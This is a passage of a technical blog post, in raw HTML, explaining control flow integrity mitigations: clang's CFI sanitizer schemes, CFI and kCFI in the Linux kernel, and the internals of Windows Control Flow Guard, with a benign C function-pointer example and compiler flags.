style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Declare a function pointer that points to a function taking two int arguments and returning int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (*operation)(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Let&apos;s perform addition</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; operation = add;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> result = operation(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">10</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Result of addition: %d\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, result);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Function definitions</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">add</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b) {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a + b;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>To compile the program with IFCC, use the following command:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">clang -fsanitize=cfi-icall -flto indirect_call.c -o indirect_call_cfi</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>Let&#x2019;s compare the assembly sequence of both cases in IDA:</p><p>Before</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/jN4uWnBgd7oZc1LsEUhvUiUcgvebnAK0DiBbVDl7jVcpVosWjHBrJtLsRa_qv8hNDICPgctIFxAy5-z-sjX14yhCFXYVmMfSLxhE47RAziGsCXa3dzO1LeAkGr3wejU0BcRwag4XjBBf-RqXKxtkq-E" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="573" height="274"></figure><p>After:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/p1mgTU49Yxp1A5YGibRAE2WZ2O0841ABVaxjVfQB688iBtKoAH95fowsVGq01ghmCoyDsXp5hw6wtutnBDABz6dsX319ImkkaaG9u7bhDK-u357JldxHDbwcxZgunAHrj9esgHS_XBasuuh1b3YqkEU" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="624" height="396"></figure><p>In the second case where IFCC is enabled, before calling add through operation (<em>call rax</em>), the address is first verified if matches the address in the jmp table ( <em><code>mov rcx, offset add</code> and <code>cmp rax, rcx</code></em>) or not. Since we only have 1 address in the jump table, the check is straight forward but in case of multiple entries, you will see <em><code>ror</code></em> (rotate) instruction to verify if the jump index is within range.</p><p><strong>Other CFI support in clang:</strong></p><p>Clang also support few other schemes that enhance the overall CFI mitigation. These schemes mostly rely on verifying function prototype before jumping to that location. Listed in detail below.</p><p><em>-fsanitize=cfi-cast-strict</em> - If a class has a single non-virtual base and does not introduce or override virtual member functions or fields other than an implicitly defined virtual destructor, it will have the same layout and virtual function semantics as its base. By default, casts to such classes are checked as if they were made to the least derived such class.</p><p><em>-fsanitize=cfi-derived-cast and -fsanitize=cfi-unrelated-cast</em> - These scheme checks that pointer casts are made to an object of the correct dynamic type; that is, the dynamic type of the object must be a derived class of the pointee type of the cast. The checks are currently only introduced where the class being casted to is a polymorphic class. First one is bad casts from a base class to a derived class and 2nd one is bad casts from a pointer of type void* or another unrelated type.</p><p><em>-fsanitize=cfi-nvcall</em> - This scheme checks that non-virtual calls take place using an object of the correct dynamic type; that is, the dynamic type of the called object must be a derived class of the static type of the object used to make the call.</p><p><em>-fsanitize=cfi-mfcall</em> - This scheme checks that indirect calls via a member function pointer take place using an object of the correct dynamic type. Specifically, we check that the dynamic type of the member function referenced by the member function pointer matches the &#x201C;function pointer&#x201D; part of the member function pointer, and that the member function&#x2019;s class type is related to the base type of the member function.</p><p>To compile the code with all the CFI mitigation in place, you can use following flag: <em>-fsanitize=cfi</em></p><p><strong>Resources</strong>:</p><p><a href="https://clang.llvm.org/docs/ControlFlowIntegrity.html?ref=nixhacker.com">https://clang.llvm.org/docs/ControlFlowIntegrity.html</a></p><h4 id="cfi-in-linux-kernel">CFI in linux kernel</h4><p>Forward edge CFI was first introduced in android linux kernel upstream in 2018 which was later added in linux kernel upstream in 2021. The first implementation has support for IFCC from CLANG in linux kernel. It can be controlled using <em>CONFIG_CFI_CLANG </em>and once set the compiler injects a runtime check before each indirect function call to ensure the target is a valid function with the correct static type. With CFI enabled, the compiler injects a <em>__cfi_check()</em> function into the kernel and each module for validating local call targets. Similar to what we seen in IFCC, during linux kernel compilation clang implements indirect call checking using jump tables and offers two methods of generating them. With canonical jump tables, the compiler renames each address-taken function to <em><code>&lt;function&gt;.cfi</code></em> and points the original symbol to a jump table entry, which passes <em>__cfi_check()</em> validation.</p><p>You can check the PR here: <a href="https://github.com/torvalds/linux/commit/cf68fffb66d60d96209446bfc4a15291dc5a5d41?ref=nixhacker.com">https://github.com/torvalds/linux/commit/cf68fffb66d60d96209446bfc4a15291dc5a5d41</a></p><h4 id="kcfi-%E2%80%93-the-fine-grained-cfi-scheme-for-linux-kernel">kCFI &#x2013; The fine grained CFI scheme for linux kernel</h4><p>In 2022 kernel version 6.1.X, linux have merged a new patch for CFI called kCFI which is a fine grained CFI scheme that overcomes almost all the major issues and limitations of earlier CFI implementation from CLANG. kCFI&#x2019;s main goal is to improve fine grained CFI scheme for indirect call redirection issues in linux kernel. It is totally dependent on instrumentation, and requires no runtime component. This decreases the overhead that is usually seen with most CFI based implementations. kCFI provides both forward edges as well as backward edge but we will only look at examples of forward edge CFI below. But the backward edge (return guard) is implemented in a similar way. kCFI over-approximates the call graph by considering valid targets for an indirect call all those functions that have a matching prototype with the pointer used in the indirect call.</p><p>Let&#x2019;s go through the original LLVM-CFI issues one by one that kCFI overcome for linux kernel:</p><ul><li>Limitation 1: <strong>Performance bottleneck due to jump table based CFI implementation</strong></li></ul><p>Jump table based IFCC implementation comes with significant performance overhead when running in linux kernel. kCFI overcomes this by having tag based assertions. Tag based CFI check can be understood with following example:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/Ew4hRyvb4HLLVm0uItVd29cujgoC-lZtdn5HdzDwi3fG_TLkIiz6FqidngIYZOyiRjjiyAq-uviNqeaZbjMxrvQQeJ3RAuCgx2dVKoCaKnrEfIN7paARdBUqAXLk0ic2uKyq7BU3FR909tN-JcNzcqE" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="517" height="310"></figure><p>Unlike LLVM CFI, kCFI adds tags using long nop instructions and verify them before the call to an indirect function. In above snippet, prologue func has an entry-point tag that is verified at call site (b) using <em>cmpl </em>instruction(since <em>rax </em>will have the address of func). this snippet dereferences <em><code>0x4(%rax)</code></em> and compares the result with the expected ID (<em>0xbcbee9</em>; line 2). If the two IDs match, the control jumps to the <em><code>callq</code> </em>instruction and the indirect invocation of func takes place (lines 3 and 7); else, the bogus branch address is pushed onto the stack and <em>kcfi_vhndl </em>(violation handler) is invoked (lines 4&#x2013;6).</p><p><br></p><ul><li>Limitation 2: &#xA0;<strong>There exist a vast multitude of kernel functions that possess a similar prototype, such as <em>void foo(void)</em>, which renders them eligible as CFI targets for one another.</strong></li></ul><p>To reduce similar valid call site jumps, kCFI introduced call graph detaching. It can be understood using below example:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/A6MJsIbsbIMkQZqhpIg8m2blimGIEDRgba09_DQiupsCVIfE3WHvpjZRhIfFi7PGoQ-DmqPmqnXr-BnSZwLx2C1td7AQtxxh5vjynagWR2GGdEHvfRXNsSY1FEgQdfyMmp1bGn02kClZziwSy5pZjNI" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="351" height="257"></figure><p>In the above code function B and C have same tag due to similar prototype, so does A due to direct call to B. In such case C is allowed to return to A even through it&#x2019;s not legal. This creates a situation where transitively all instructions after a direct call to a function become valid return points to other functions with a similar prototype. This makes CFI prone to something called a bending attack.</p><p>To mitigate this problem, kCFI follows a novel approach by cloning functions instead of merging all valid return targets. In this way, a function named<em> foo()</em> is cloned into a new function called<em> foo_direct()</em>, which has the same semantics but checks for a different tag before returning. All direct calls to<em> foo()</em> are then replaced by calls to <em>foo_direct()</em>, and the tag placed after the call site is the one that corresponds to <em>foo_direct()</em>. This can be understood more easily with below illustration:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/Thfc3NVK9aWDlxwsVf9OPOGL_S_rTtR8xnIbwoIoUTcROtrwzHyJ87jOfWDoPBE8L8rzjp53_Oh2DicKhhB1PoW1XwAOXtQ0m8Lh5r_7UX09RLexHs9wifIy70-Ritf2k021SBnjni3nyV504fUzj4w" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="465" height="413"></figure><p>In the updated code with CGD in place, you will see A calling<em> B_clone</em> (having different tag) rather than B. Now, C will not be able to return to A due to tag mismatch.</p><ul><li>Limitation 3: <strong>Support for self-modifying code and LKMs</strong></li></ul><p>By employing tag-based assertions, kCFI supports self-modifying code and LKMs, as long as these portions of code are compiled in a compatible way.</p><ul><li>Limitation 4:<strong> Support for inline assemble code</strong></li></ul><p>One of the drawbacks of using LLVM-based instrumentation is that assembly sources are not touched, as this kind of code is directly translated into binaries without having an intermediate representation (IR) form. The kernel has a significant part of its code written in assembly, which includes many indirect branches. While applying CFI, if such code is left unprocessed, two major problems arise: (i) indirect branches in assembly sources are left unprotected, and (ii) tags are not placed, breaking compatibility with C functions returning to assembly, or with assembly functions being called indirectly from C code. kCFI tackles this problem through the automatic rewriting of the assembly sources assisted by information extracted during code and binary analysis.</p><p><strong>Resources:</strong></p><p>You can check the changelog of patch here: <a href="https://github.com/torvalds/linux/commit/865dad2022c52ac6c5c9a87c5cec78a69f633fb6?ref=nixhacker.com">https://github.com/torvalds/linux/commit/865dad2022c52ac6c5c9a87c5cec78a69f633fb6</a></p><p>You can read about kCFI here: <a href="https://www.blackhat.com/docs/asia-17/materials/asia-17-Moreira-Drop-The-Rop-Fine-Grained-Control-Flow-Integrity-For-The-Linux-Kernel-wp.pdf?ref=nixhacker.com">https://www.blackhat.com/docs/asia-17/materials/asia-17-Moreira-Drop-The-Rop-Fine-Grained-Control-Flow-Integrity-For-The-Linux-Kernel-wp.pdf</a></p><h3 id="cfg-control-flow-guard"><br>CFG (Control flow guard):</h3><p>Unlike other mitigation techniques that gained popularity for their implementation in Linux, CFI gained popularity for its implementation in Windows in 2014 (in Windows 8.1). It was later removed but was reintroduced with changes in the Windows 10 Anniversary update 14393. While Windows&apos;s CFG initially received significant attention upon its release, it is limited in terms of capabilities and coverage compared to CLANG&apos;s CFI implementation. Additionally, it has faced considerable criticism due to the constant discovery of bypasses by security researchers.</p><p>Sole focus of CFG is to protect the integrity of indirect function calls in a somewhat similar way as IFCC. Let&#x2019;s look at the internal details of how the CFG is implemented in windows.</p><h6 id="cfg-internals"><em>CFG Internals</em></h6><p>If the <em>/cfguard</em> flag is used with the msvc compiler (Visual Studio compiler), it will enable CFG when compiling the binary. The resulting binary will include a data directory called <em>Load Configuration</em> directory, which contains the CFG configuration details for the binary. Load Configuration directory have a structure which have few fields that are important for CFG implementation:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; ULONGLONG&#xA0; GuardCFCheckFunctionPointer;&#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// VA</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; ULONGLONG&#xA0; GuardCFDispatchFunctionPointer; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// VA</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; ULONGLONG&#xA0; GuardCFFunctionTable; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// VA</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; ULONGLONG&#xA0; GuardCFFunctionCount;</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; DWORD&#xA0; &#xA0; &#xA0; GuardFlags;</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p><em>GuardFlags </em>have the flags related to CFG which define what CFG mitigations are set in binary. The structure looks like below:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CF_INSTRUMENTED 0x00000100 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module performs control flow integrity checks using system-supplied support</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CFW_INSTRUMENTED 0x00000200 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module performs control flow and write integrity checks</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span 